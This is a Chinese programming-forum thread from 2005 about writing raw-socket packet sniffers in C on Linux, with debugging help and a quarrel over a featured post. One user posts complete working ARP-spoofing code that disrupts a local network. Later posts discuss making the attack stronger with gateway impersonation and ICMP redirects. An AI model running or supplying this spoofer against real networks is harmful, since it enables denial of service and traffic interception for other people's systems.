win_hate 回復于:2005-01-07 15:18:05 |
:D |
思一克 回復于:2005-01-07 15:20:09 |
那符號, 是飄揚,還是批評? |
win_hate 回復于:2005-01-07 15:28:13 |
是這個:
[img:ede0e02f45]http://bbs.chinaunix.net/forum/templates/subSilver/images/good_re.gif[/img:ede0e02f45] 我只會用 libpcap 抓, :oops: |
superdoctor 回復于:2005-01-07 15:29:15 |
不僅僅是表揚!
已經精華了,此時無聲勝有聲 |
思一克 回復于:2005-01-07 15:31:26 |
精華什么。我就胡亂搞一個,因為看這幾天總有問的帖子。
沒有放回貼是因為怕一會就消失了 |
黃山松 回復于:2005-01-07 20:18:32 |
還不錯,呵呵
不過你這個功能稍微太弱了點:) 我幫你改了改,你原來的只能收到IP層的數據,而且只能有針對性的收,現在可以收鏈路層也就是以太網包:) 而且是大小各個類型統吃,呵呵 [code:1:ff111d59cd]#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <string.h> #include <netdb.h> #include <netinet/tcp.h> #include <netinet/udp.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/if_ether.h> void die(char *why, int n) { perror(why); exit(n); } int do_promisc(char *nif, int sock ) { struct ifreq ifr; strncpy(ifr.ifr_name, nif,strlen(nif)+1); if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) { die("ioctl", 2); } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) { die("ioctl", 3); } } char buf[2*32767]; main() { struct sockaddr_in addr; struct ethhdr *peth; struct iphdr *pip; struct tcphdr *ptcp; struct udphdr *pudp; /*add more protocol head here....*/ int sock, r, len; char *data; char *ptemp; char ss[32], dd[32]; int i; if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) die("socket", 1); do_promisc("eth0", sock); for(;;) { len = sizeof(addr); r = recvfrom(sock,(char *)buf,sizeof(buf), 0, (struct sockaddr *)&addr,&len); buf[r] = 0; ptemp = buf; /*which can get source mac address and destnation address, and which network packet, here is OSI-2, link layer*/ peth = (struct ethhdr *)ptemp; ptemp += sizeof(struct ethhdr); /*which get IP layer informations, includes which transport protocol, source and destnation IP address...*/ pip = (struct iphdr *)ptemp; /* * which can get transport layer informations, such as: transport socket port, transport layer includes * TCP, UDP, ICMP, IGMP......, can get which transport protocol from IP header */ ptemp += sizeof(struct iphdr); switch(pip->protocol) { case IPPROTO_TCP: ptcp = (struct tcphdr *)ptemp; printf("TCP pkt:\n"); /* * and your service code.... */ break; case IPPROTO_UDP: pudp = (struct udphdr *)ptemp; printf("UDP pkt:\n len:%d payload len:%d from %s:%d to %s:%d\n", r, ntohs(pudp->len), strcpy(ss, inet_ntoa(*(struct in_addr*)&(pip->saddr))), ntohs(pudp->source), strcpy(dd, inet_ntoa(*(struct in_addr*)&(pip->daddr))), ntohs(pudp->dest) ); /* * and your service code.... */ break; case IPPROTO_ICMP: printf("ICMP pkt:\n"); break; case IPPROTO_IGMP: printf("IGMP pkt:\n"); break; /* . . . . . */ default: printf("Unkown pkt, protocl:%d\n", pip->protocol); break; } } }[/code:1:ff111d59cd][/code] |
黃山松 回復于:2005-01-07 20:40:50 |
順便建議一下,我覺得精華區應該更精華一些!
不能是版主就精華哦:) |
win_hate 回復于:2005-01-07 22:39:49 |
[quote:2154ef58d6="黃山松"]順便建議一下,我覺得精華區應該更精華一些!
不能是版主就精華哦:)[/quote:2154ef58d6] 建議是好的,不過我們這里有 [quote:2154ef58d6]是版主就精華哦[/quote:2154ef58d6] 的情況么? :shock: |
黃山松 回復于:2005-01-08 10:02:22 |
[quote:cc49c3ce3a="win_hate"]
的情況么? :shock:[/quote:cc49c3ce3a] 有則改之,無則加勉:) 沒別的意思,只想c/c++版更好,本貼樓主好象是版主吧? |
assiss 回復于:2005-01-08 10:15:47 |
[quote:65672bc167="黃山松"]
有則改之,無則加勉:) 沒別的意思,只想c/c++版更好,本貼樓主好象是版主吧?[/quote:65672bc167] 也難怪黃山松老兄會產生誤解。 CU的頭銜實在讓人頭大。 發的帖子多了,就是版主?還是某一個版的版主?反正我是沒明白。 |
win_hate 回復于:2005-01-08 10:21:11 |
在我眼里,思一克是一位樂于助人的技術高手,我都沒注意到他是斑竹。何況還不是c 版的。
您要是覺得這個精華給得不對,可以說出理由,我跟別的斑竹商量一下。 我給精華的理由如下: 問這種問題的人常有,直接能用的答復就沒有。一般的回答就是“看xxx的代碼”,或者“用 libpcap"(我的答復)。而思一克的回復直接能用。 思一克給出的是一個最小例子,演示了如何使用 ioctl 把 網絡設備設置為混雜模式。規模小,單純,就容易被理解,并可在其上作擴展,比如您后來的例子。 |
honkily 回復于:2005-01-08 17:46:19 |
確實好用!收藏~ |
arcsiny 回復于:2005-01-10 09:35:01 |
呵呵 客觀的講 樓主給的例子確實很簡單,如果給精華的話,我想 黃山松 的更好一些。我想黃山松也是好意,包括我在內。 |
思一克 回復于:2005-01-10 09:39:57 |
謝謝你的意見。
我原來在WIN上做過那東西,有個非常全的程序,顯示幾乎所有協議,并按DOS DEBUG的D命令格式顯示的。 我是故意裁剪下來貼出來的,目的就是教學用,為了是問題本質更清楚。 [quote:ef830cf799="arcsiny"]呵呵 客觀的講 樓主給的例子確實很簡單,如果給精華的話,我想 黃山松 的更好一些。我想黃山松也是好意,包括我在內。[/quote:ef830cf799] |
黃山松 回復于:2005-01-10 09:59:28 |
[quote:890bd40efe="思一克"][/quote:890bd40efe]
那就請樓主把WIN的程序貼出來看看嘍:) WIN下面不用別的庫也能做到這個地步嗎? |
思一克 回復于:2005-01-10 10:13:30 |
可以。
WIN下面我告訴你地方 MSSDK/SOURCE/NETDS/WINSOCK/rcvall.* 程序就是那東西。 我就是根據它改的。 我覺得CU論壇的作用應該是學習,互相幫忙解決問題;而不是(或主要 不是)得到工作結果。 比如,有些帖子,“說要實現XXXX,請幫助寫程序”等等。 我可以將windows那個原始程序MAIL給你,如果你沒找到的話。 |
黃山松 回復于:2005-01-10 10:24:32 |
好啊,leo_guo@jisung.cn,我很少寫WIN程序 |
思一克 回復于:2005-01-10 10:34:48 |
已經發過去了。 |
黃山松 回復于:2005-01-10 10:48:57 |
謝謝,收到!
只能收到第三層IP層的包啊,依然收不到以太網包,還是有差距:) |
assiss 回復于:2005-01-10 10:59:17 |
我倒是覺得思一克的程序更應該精華,WINHATE版主的做法很對。
對于一個程序員來說,最需要的不應該是一個問題的全版本,而是對問題的最小簡化。思一克的程序正是這樣的,它能讓我們很快了解這個問題的本質,再加上手冊,我們能很容易擴展這個程序。 程序員不是最終客戶。 |
思一克 回復于:2005-01-10 11:00:27 |
收包的范圍不就是調socket參數嗎。
你都做過的了(在你的回貼中): if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) die("socket", 1); |
黃山松 回復于:2005-01-10 12:48:46 |
呵呵,你的程序和我的程序實際上有本質的區別,雖然改動很小:)
你的程序依然是建立在IP SOCKET的基礎上的,只能針對IP層某種協議數據包處理,在處理一種協議包時就不能處理另外一種協議包了. 而我給你改的,是建立在設備上的,是面對所有基于以太網協議的數據包處理.概念要搞清楚. 另回assiss: 精華不精華是無所謂的,是精華又能怎么樣呢,目的是把問題搞清楚,只要在CU里可以看貼子回貼子就可以了,是精華又不發錢的:)想不到我的一句話會有這么多問題出現,呵呵! 我只是提出一點看法而已,既然有那么多討論就多說幾句,首先我聲明我不是一個程序員,所以是抱著學習的態度來這里,我只是一個做嵌入底層軟件的,和大家差的遠. 其次我的建議只是個人看法,對于精華我依然認為要更精華,我對精華的定義是能引導別人進步,解決別人的難題,精華應該出現在最好的基礎上的,如果我是版主我會等大家都暢所欲言欲言到一定程度之后再來評定該不該是精華,針對此貼,光有一點程序是遠遠不能稱為精華的,至少應該還有相關的說明,我們的貼子里有嗎???否則,精華多了還有精華的意義嗎? OK,氣氛好了,繼續跟貼:) |
思一克 回復于:2005-01-10 13:03:16 |
to 黃山松,
我發給你rcvall是原始的MSSDK程序。 你改的也很好。 我在此也建議C斑竹將你改動后的加到精華,如果精華怕類似的就將我的拿下。能給找此問題的人有幫助是我們共同的目的。 |
Yufei00772002 回復于:2005-01-10 13:29:34 |
建議把 - 黃山松 改過的程序share 出來,另外同意 - 黃山松 的說法,socket 初始化之后,沒有到鏈路層,所以不收那個包。
實際上大家都在學習,我是昨天才學網絡編程。 另外 - assiss 的話和 - 黃山松沒有沖突,我覺得是 - 黃山松想多了。 |
思一克 回復于:2005-01-10 13:40:11 |
To 黃山松,
你好。我才細看你改動后的帖子。這一段好象有程序錯誤呀。 [code:1:51377458be] case IPPROTO_UDP: pudp = (struct udphdr *)ptemp; printf("UDP pkt:\n len:%d payload len:%d from %s:%d to %s:%d\n", r, ntohs(pudp->len), inet_ntoa(*(struct in_addr*)&(pip->saddr)), ntohs(pudp->source), inet_ntoa(*(struct in_addr*)&(pip->daddr)), ntohs(pudp->dest) ); /* * and your service code.... */ [/code:1:51377458be] 你最好回答我一下。 |
Yufei00772002 回復于:2005-01-10 13:41:01 |
對不起,實際上已經有了:
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) die("socket", 1); if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) die("socket", 1); 我對比了這兩行代碼,- 黃山松 寫的規范性要強, 這也是大家學習的亮點嗎? |
思一克 回復于:2005-01-10 13:43:14 |
To Yufei00772002,
你看看我上一帖子,能發現問題嗎? |
黃山松 回復于:2005-01-10 13:46:34 |
不用比了,strcpy不能去掉的,這也是個知識點啊:) |
思一克 回復于:2005-01-10 13:49:08 |
那你還得改好在重新貼。
因為這是C壇子上常討論并呼喚加以改正的問題 |
Yufei00772002 回復于:2005-01-10 14:42:04 |
我看到的是已經改好的了,
指針已經移動了 ptemp += sizeof(struct iphdr); 所以我在比 ip -> tot_len 和 ntohs(pudp->len) 另外,對不起,我不知道這里為什么要用 strcpy |
myhstone 回復于:2005-01-10 15:17:35 |
要命,編譯完后運行得眼都花了,
linux機器差點死掉。。。。:-( |
Yufei00772002 回復于:2005-01-10 15:43:39 |
不好意思,我是昨天才學習這個網絡程序,但是我們都好像是新手,我愿意回答這個問題,
因為 for(;;) 是個無限循環,應該是只要你的網卡是active的狀態,就不斷讀上面的信息,fetch出來。 我感覺死機不至于,你可以定向到一個文件,然后CTRL+C -- 感覺這里真專業,大家都是real practices. |
playmud 回復于:2005-01-10 19:19:01 |
好啊,大家表現都很好!真的。 |
JohnBull 回復于:2005-01-10 23:20:24 |
真熱鬧啊! :D 我也湊湊!
這是我講課時的示范程序,讓你的網絡癱瘓,make一下就行了. [code:1:7add552a28] /* * * This is a simple arp spoof program. * It demostrates the usage of PACKET socket. * the code is published under GPL. * see http://www.gnu.org for the detail of GPL. * written by * John Bull <john@ccjsj.com> */ #include <stdio.h> #include <unistd.h> #include <signal.h> #include <fcntl.h> #include <sys/socket.h> #include <features.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <sys/ioctl.h> #include <sys/types.h> #include <net/if.h> #include <net/if_packet.h> #include <net/if_arp.h> struct etharp { struct arphdr hdr; unsigned char sender_mac[6]; unsigned char sender_ip[4]; unsigned char rcver_mac[6]; unsigned char rcver_ip[4]; }; struct etharp_frame { unsigned char dst[6]; unsigned char src[6]; unsigned short type; struct etharp arp; }; char* mac2a(char* dst, unsigned char* addr) { int i; char buf[8]; dst[0]='\0'; for (i=0;i<6;i++) { sprintf(buf,"%.2X",(unsigned char)addr[i]); strcat(dst,buf); if (i<5) { strcat(dst,":"); } } return dst; } char* ip2a(char* dst, unsigned char* addr) { int i; char buf[8]; dst[0]='\0'; for (i=0;i<4;i++) { sprintf(buf,"%u",(unsigned char)addr[i]); strcat(dst,buf); if (i<3) { strcat(dst,"."); } } } int getIndexbyName(int sd, const char* ifname) { int ret; struct ifreq req; strncpy(req.ifr_name,ifname,IFNAMSIZ); ret=ioctl(sd,SIOCGIFINDEX,&req); if (ret==-1) { return -1; } return req.ifr_ifindex; } void usage(char* argv0) { printf("usage: %s -i ifname -m\n",argv0); } main(int argc, char *argv[]) { int sd,fd; int ret; int iface; struct sockaddr_ll my_end,his_end; int his_end_len; struct etharp_frame rcvBuffer[1],sndBuffer[1]; char mac[18],ip[16]; unsigned char fake[6]; if (argc<2) { usage(argv[0]); exit(0); } int c; char iface_name[IFNAMSIZ]; int monitor_mode=0; strcpy(iface_name,"eth0"); while ((c=getopt(argc,argv,"i:m"))>=0) { switch (c) { case 'i' : strncpy(iface_name,optarg,IFNAMSIZ); break; case 'm' : monitor_mode=1; break; default : usage(argv[0]); exit(0); break; } } printf("This program keeps running for 60 seconds.\n"); printf("NIC=%s\n",iface_name); printf("Monitor Mode=%i\n",monitor_mode); printf("=========\n"); alarm(60); sd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)); if (sd==-1) { perror("socket"); exit(1); } iface=getIndexbyName(sd,iface_name); if (iface==-1) { perror("ioctl(Request interface index)"); exit(-1); } my_end.sll_family=AF_PACKET; my_end.sll_protocol=htons(ETH_P_ARP); my_end.sll_ifindex=iface; ret=bind(sd,(struct sockaddr*)&my_end,sizeof(struct sockaddr_ll)); if (ret==-1) { perror("bind"); exit(1); } fd=open("/dev/urandom",O_RDONLY); while (1) { ret=recvfrom(sd,rcvBuffer,sizeof(rcvBuffer),0,(struct sockaddr*)&his_end,&his_end_len); if (ret==-1) { continue; } if (ntohs(rcvBuffer->arp.hdr.ar_op)==ARPOP_REQUEST) { ip2a(ip,rcvBuffer->arp.sender_ip); printf("%s wants to know ",ip); ip2a(ip,rcvBuffer->arp.rcver_ip); printf("%s's MAC.\n",ip); fflush(stdout); if (monitor_mode==1) continue; read(fd,fake,6); memcpy(sndBuffer->dst,rcvBuffer->arp.sender_mac,6); memcpy(sndBuffer->src,fake,6); sndBuffer->type=htons(ETH_P_ARP); sndBuffer->arp.hdr.ar_hrd=htons(ARPHRD_ETHER); sndBuffer->arp.hdr.ar_pro=htons(0x0800); sndBuffer->arp.hdr.ar_hln=(char)6; sndBuffer->arp.hdr.ar_pln=(char)4; sndBuffer->arp.hdr.ar_op=htons(ARPOP_REPLY); memcpy(sndBuffer->arp.sender_mac,fake,6); memcpy(sndBuffer->arp.sender_ip,rcvBuffer->arp.rcver_ip,4); memcpy(sndBuffer->arp.rcver_mac,rcvBuffer->arp.sender_mac,6); memcpy(sndBuffer->arp.rcver_ip,rcvBuffer->arp.rcver_ip,4); his_end.sll_family=AF_PACKET; // his_end.sll_addr should be filled by recvfrom() already his_end.sll_halen=6; his_end.sll_ifindex=iface; sleep(1); sendto(sd,sndBuffer,sizeof(sndBuffer),0,(struct sockaddr*)&his_end,sizeof(his_end)); mac2a(mac,fake); printf("\tfaked a %s as the answer.\n",mac); } } close(fd); } [/code:1:7add552a28] |
黃山松 回復于:2005-01-11 10:39:20 |
呵呵,教人學壞啊:)
好,我來配個講解: 本程序的作用是起到ARP欺騙.首先說一下ARP的作用: ARP的作用是獲取目的IP機器的MAC地址,然后在根據這個MAC地址和IP地址和目標機器進行信息交互,有一點比較重要的就是每個機器在正常工作的情況下只會接受MAC地址是廣播地址和MAC地址是自己MAC地址的網絡包. 所以加入機器A想和機器B通信,過程如下: 1.A發一個ARP包(這是廣播包,誰都可以收到),想去獲取機器B的MAC 2.機器B接收到該ARP包并確人是給自己的,返回一個ARP包,告訴A他的MAC 3.A根據獲取的MAC進行網絡交互 本程序的作用是: 接收到任何一個機器發出來的ARP請求包,立馬回一個ARP返回包,里面返回的MAC地址是隨機的(夠狠:),這樣網絡里的MAC地址和IP地址對應關系就會亂掉了,這樣整個網絡的數據交互就癱瘓了,哈哈 |
Yufei00772002 回復于:2005-01-11 11:09:47 |
這個程序寫的蠻好的(當然我是寫不出來的),知識點挺多的,總體感覺是收到的數據包,又送回去了。
學習啊... ... 對不起,我沒有看到 - 黃山松的回帖 返回的Mac地址是從一個文件里讀出來的,這個文件有隨機性? 不知道說的對不對 |
RealRaul 回復于:2005-01-21 13:10:39 |
cc -o netdump netdump.c
"/usr/include/sys/netinet/ip.h", line 175: error: Syntax error before or at: n_long "/usr/include/sys/netinet/ip.h", line 175: error: cannot recover from previous errors |
lifeixiao 回復于:2005-01-28 10:32:24 |
//netdump.c
#include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <string.h> #include <netdb.h> #include <netinet/tcp.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> #include <termios.h> void die(char *why, int n) { perror(why); exit(n); } int do_promisc(char *nif, int sock ) { struct ifreq ifr; strncpy(ifr.ifr_name, nif,strlen(nif)+1); if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) { die("ioctl", 2); } ifr.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) { die("ioctl", 3); } } char buf[3*32767]; main() { struct sockaddr_in addr; struct ip *ip; struct tcphdr *tcp; int sock, r, len,i; char *data ,*ptr; char ss[32], dd[32]; int size; if((sock = socket(AF_INET,SOCK_RAW,0)) == -1) die("socket", 1); do_promisc("tu0", sock); for(;;) { len = sizeof(addr); r = recvfrom(sock,(char *)buf,sizeof(buf),0,(struct sockaddr *)&addr,&len); buf[r] = 0; ip = (struct ip *)buf; for(i=0,ptr=buf;i<2*32767;ptr++); tcp = (struct tcphdr *)ptr; printf("PktSize: %d IPLEN %d PROT %d \ %s:%d-->%s:%d %d \n", r, ip->ip_len, ip->ip_p, strcpy(ss, inet_ntoa(*(struct in_addr*)&(ip->ip_src.s_addr))), ntohs(tcp->th_sport), strcpy(dd, inet_ntoa(*(struct in_addr*)&(ip->ip_dst.s_addr))), ntohs(tcp->th_dport), tcp->th_off ); data = (char*)tcp + 4*tcp->th_off; printf("data = %s\n", data); } } ================ 我把樓主的程序改了一下放在Digital UNIX下運行,程序一直阻塞在recvfrom處,這是為什么?我另外寫了測試程序從另外一臺機上往本機上不停的發數據啊明明 |
思一克 回復于:2005-01-28 10:52:57 |
socket(d, SOCK_RAW, p);
如果僅僅capture IP, d = PF_INET, p = IPPROTO_UDP, IPPROTO_TCP,等 如果capture Ethernet以上的協議,d = PF_PACKET, p = htons(ETH_P_ALL) |
lifeixiao 回復于:2005-01-28 11:18:23 |
我改成if((sock = socket(PF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) die("socket", 1);
結果還是不行啊 |
思一克 回復于:2005-01-28 11:53:03 |
telnet localhost 看看。
不行再socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))實驗。 看ioctl manpage,是不是和linux有什么不同 |
lifeixiao 回復于:2005-01-28 12:21:42 |
telnet localhost 看看。
========= 沒問題 不行再socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))實驗。 ============= 說PF_PACKET,ETH_P_ALL未定義 看ioctl manpage,是不是和linux有什么不同 ============ 沒看處什么來,man的解釋一點都不詳細,慘............. |
思一克 回復于:2005-01-28 12:25:04 |
INCLUDE ALL THESE FILES
#include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <string.h> #include <netdb.h> #include <netinet/tcp.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/if_ether.h> |
lifeixiao 回復于:2005-01-28 16:10:51 |
搞定了,不過好像只能接收ping程序回射得包,不能抓tcp包。。。。 |
sohusina 回復于:2005-01-30 00:28:49 |
在unix下必須使用libpcap才能抓到tcp包。 |
lifeixiao 回復于:2005-01-31 14:27:03 |
這個程序應該是抓ip層的包的吧,tcp連接也有ip包吧,不知道我理解的對不對。 |
JohnBull 回復于:2005-01-31 17:11:24 |
[quote:2f54b4759e="sohusina"]在unix下必須使用libpcap才能抓到tcp包。[/quote:2f54b4759e]
那libpcap是怎么寫出來的呢? :m01: |
mousejiji 回復于:2005-04-04 15:47:55 |
不好意思,今天看到這個精華,有好多問題想問,還請各位大俠賜教。
最近我也編了一個截獲網絡數據包的程序,程序中有這樣一段代碼: int sock; ... ... if((sock=socket(AF_INET,SOCK_RAW,0))<0) { perror("can't created "); exit(0); } ... ... 編譯通過,執行的時候屏幕打?。篶an't created :Socket type not supported? 我把IPPROTO_IP換成IPPROTO_TCP 就不會報錯 看到上面[b:017fffc2a4]黃山松寫[/b:017fffc2a4]的:sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)),我想問下為什么要用AF_PACKET,是不是只有用它才能捕獲到數據鏈路層的包,我的:sock=socket(AF_INET,SOCK_RAW,0)應該可以捕獲得到IP層的所有包吧,但為什么會不支持呢?如果說我的內核不支持原始套接字可為什么換成IPPROTO_TCP 就可以了呢? 還有我看到[b:017fffc2a4]lifeixiao[/b:017fffc2a4]的程序里也有sock = socket(AF_INET,SOCK_RAW,0),想問下你執行的時候沒遇到我的這種情況嗎? PS:我的系統是redhat9.0,以root登陸。 怎么回事呀? 在此謝謝各位參與帖子討論的朋友,這個問題困擾我很久了,現在終于看到黎明前的曙光了! |
思一克 回復于:2005-04-04 16:10:07 |
你socket最后參數為什么是0? |
mousejiji 回復于:2005-04-04 21:16:37 |
0是IPPROTO_IP默認的值吧 我也換成過IPPROTO_IP
情況一樣 只有寫IPPROTO_TCP才不報錯 奇怪呀 |
思一克 回復于:2005-04-04 23:12:10 |
你要的含義應該用IPPROTO_RAW
IPPROTO_IP (0)不是IP層上的一個協議, IPPROTO_TCP(UDP/ICMP)是。 |
mousejiji 回復于:2005-04-11 23:14:09 |
記得上次問過一個sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 的問題 在各位大俠的熱心相助下終于搞定了
可現在又出現了新問題:1.程序編好后(捕獲網絡上的所有的包),運行時打印出的 IP源地址 目的地址 居然相同? 我仔細看了不是代碼的手誤 而且我編譯執行精華里”給出一個 netdump 程序, 抓包用的. 如果改進了,也希望貼出 “ 上的程序 打印出的源 目地址也相同(是指對于一個包來說 它的源 目IP地址相同) 怎么回事呀?? 2.關于字節序的問題:我想問網絡字節序到底是把整個的32bit從高到低顛倒過來還是分成字段 每字段分別顛倒? 3.看到精華的程序里都是輸出端口號的時候轉換字節序(ntohs(***)),輸出其他的時候(如:len )的時候卻沒有用ntohs 這是為什么呢?難道len不用轉換成機器字節序嗎? |
mousejiji 回復于:2005-04-11 23:14:59 |
現在又出現了一個新問題
我不能寫if(sock=socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL))==-1) {.....} 而只能寫sock=socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL)) 寫if的那個會報錯:Invalid argument 暈了 哪位知道是怎么回事呀 |
rootclown 回復于:2005-04-22 16:34:59 |
[quote:5e0060bd7a]接收到任何一個機器發出來的ARP請求包,立馬回一個ARP返回包,里面返回的MAC地址是隨機的(夠狠icon_smile.gif,這樣網絡里的MAC地址和IP地址對應關系就會亂掉了,這樣整個網絡的數據交互就癱瘓了[/quote:5e0060bd7a]
能保證比ARP請求的目的主機更早響應?我寫了一個向局域網內所有的主機發送一個ARP請求,把他們的回復保存起來,然后每一秒就冒充網關向他們發送ARP reply,我想這樣應該效果更好吧 |
JohnBull 回復于:2005-04-22 19:17:15 |
[quote:fb93280d04="rootclown"]
能保證比ARP請求的目的主機更早響應?[/quote:fb93280d04] 有必要嗎?應該嗎? 再想想. |
rootclown 回復于:2005-04-22 19:42:20 |
是不是不管有沒有請求,只要是受到ARP reply ,如果ARP cache里的與受到的不一致,都會進行更新? |
rootclown 回復于:2005-04-22 19:47:03 |
剛看了RFC826,發現了這個,以前沒仔細看:)
[code:1:dc281cd26f] Notice that the <protocol type, sender protocol address, sender hardware address> triplet is merged into the table before the opcode is looked at. This is on the assumption that communcation is bidirectional; if A has some reason to talk to B, then B will probably have some reason to talk to A. Notice also that if an entry already exists for the <protocol type, sender protocol address> pair, then the new hardware address supersedes the old one. [/code:1:dc281cd26f] |
narkissos 回復于:2005-04-23 01:30:57 |
pat :D |
narkissos 回復于:2005-04-23 01:45:47 |
建議大家茶余飯后找來libnet和libpcap看看(來個tcpdump就更好了),基本上就差不多了 :D
mousejiji,關于網絡字節順序問題,建議去google查big endian、little endian就清楚了(按字節轉) |
nait 回復于:2005-06-21 23:19:58 |
[quote:8a215ad6c8="JohnBull"][/quote:8a215ad6c8]
厲害! 不過我覺得死的還不夠透徹 我想了一個雙管齊下的辦法,就是在發送偽造的arp應答時,順便發個重定向路由的icmp過去,相當于死了再鞭尸,這樣如果管理員不干預的話,就永無翻身之日了 :lol: :lol: arp的缺陷就是不能跨局域網而且高速緩存有時限,程序不運行了網絡應該能自動恢復吧,icmp的威力應該更大些 |